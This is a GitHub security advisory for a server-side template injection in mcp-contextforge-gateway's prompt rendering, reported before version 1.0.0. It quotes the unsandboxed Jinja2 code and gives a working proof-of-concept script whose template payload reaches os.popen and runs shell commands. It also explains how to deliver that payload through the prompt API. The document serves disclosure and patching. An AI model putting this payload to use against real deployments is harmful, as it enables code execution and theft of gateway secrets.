GitHub Advisoryadvisory · PyPI
GHSA-vwf3-4xxj-qg6h mcp-contextforge-gateway has Server-Side Template Injection (SSTI) leading to Remote Code Execution in `PromptService._render_template` via unsandboxed Jinja2 Environment
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- mcp-contextforge-gateway
- Severity
- High
- Weaknesses
- CWE-1336, CWE-94
- Reviewed
- 2026-08-25
Affected packages
• PyPI mcp-contextforge-gateway: < 1.0.0 → fixed in 1.0.0
Description
Summary
`mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.
Details
Affected component: `mcpgateway/services/prompt_service.py`
Affected version: `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected.
Vulnerable code
`mcpgateway/services/prompt_service.py`, line 26:
```python
from jinja2 import Environment, meta, select_autoescape
```
`mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`):
```python
self._jinja_env = Environment(
autoescape=select_autoescape(["html", "xml"]),
trim_blocks=True,
lstrip_blocks=True,
)
```
`mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`):
```python
def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
...
try:
jinja_template = self._jinja_env.from_string(template)
return jinja_template.render(arguments)
except Exception:
try:
return template.format(arguments)
except Exception as e:
raise PromptError(f"Failed to render template: {str(e)}")
```
`_render_template` is invoked from `PromptService.get_prompt` (line 892):
```python
rendered = self._render_template(prompt.template, arguments)
```
Where `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers.
Because `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time.
PoC
The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.
Setup
```bash
pip install mcp-contextforge-gateway==0.9.0
```
Reproducer (`poc.py`)
```python
import os
import warnings
with warnings.catch_warnings():
warnings.simplefilter("ignore")
from mcpgateway.services.prompt_service import PromptService
import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")
PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
os.remove(PROOF)
service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")
payload = (
"{{ self.__init__.__globals__.__builtins__"
".__import__('os').popen('echo MCPGATEWAY_RCE > "
+ PROOF.replace('\\', '/') + "').read() }}"
)
print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}")
if os.path.exists(PROOF):
with open(PROOF) as f:
print(f"[+] PROOF contents: {f.read().strip()!r}")
```
Verified output
```
[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render: True
[+] PROOF contents: 'MCPGATEWAY_RCE'
```
The file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.
End-to-end via the API
A full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway's MCP `prompts/get` flow.
Impact
This is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.
Successful exploitation yields:
• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk
Affected user populations:
• Any deployment running a published version of `mcp-contextforge-gateway` from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries
Suggested remediation requests:
1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version
3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions
---
Maintainer review (accepted)
Reproduced and accepted. Findings from the maintainer's review:
Confirmed valid (SSTI → RCE). In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__('os').popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.
Reachable with attacker-controlled input. The `template` field is persisted by the authenticated write paths — `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register — then rendered in `get_prompt()` → `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.
Scope (set on this advisory): affected `= 1.0.0`.
Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only — none render user-supplied template strings. No second instance of thi…
Related
References
- https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-vwf3-4xxj-qg6h web
- https://github.com/IBM/mcp-context-forge/issues/538 web
- https://github.com/IBM/mcp-context-forge/pull/4072 web
- https://github.com/IBM/mcp-context-forge/commit/4d31004661858a2e99055b3c0c9f14218b8f7120 web
- https://github.com/IBM/mcp-context-forge package
- https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.0 web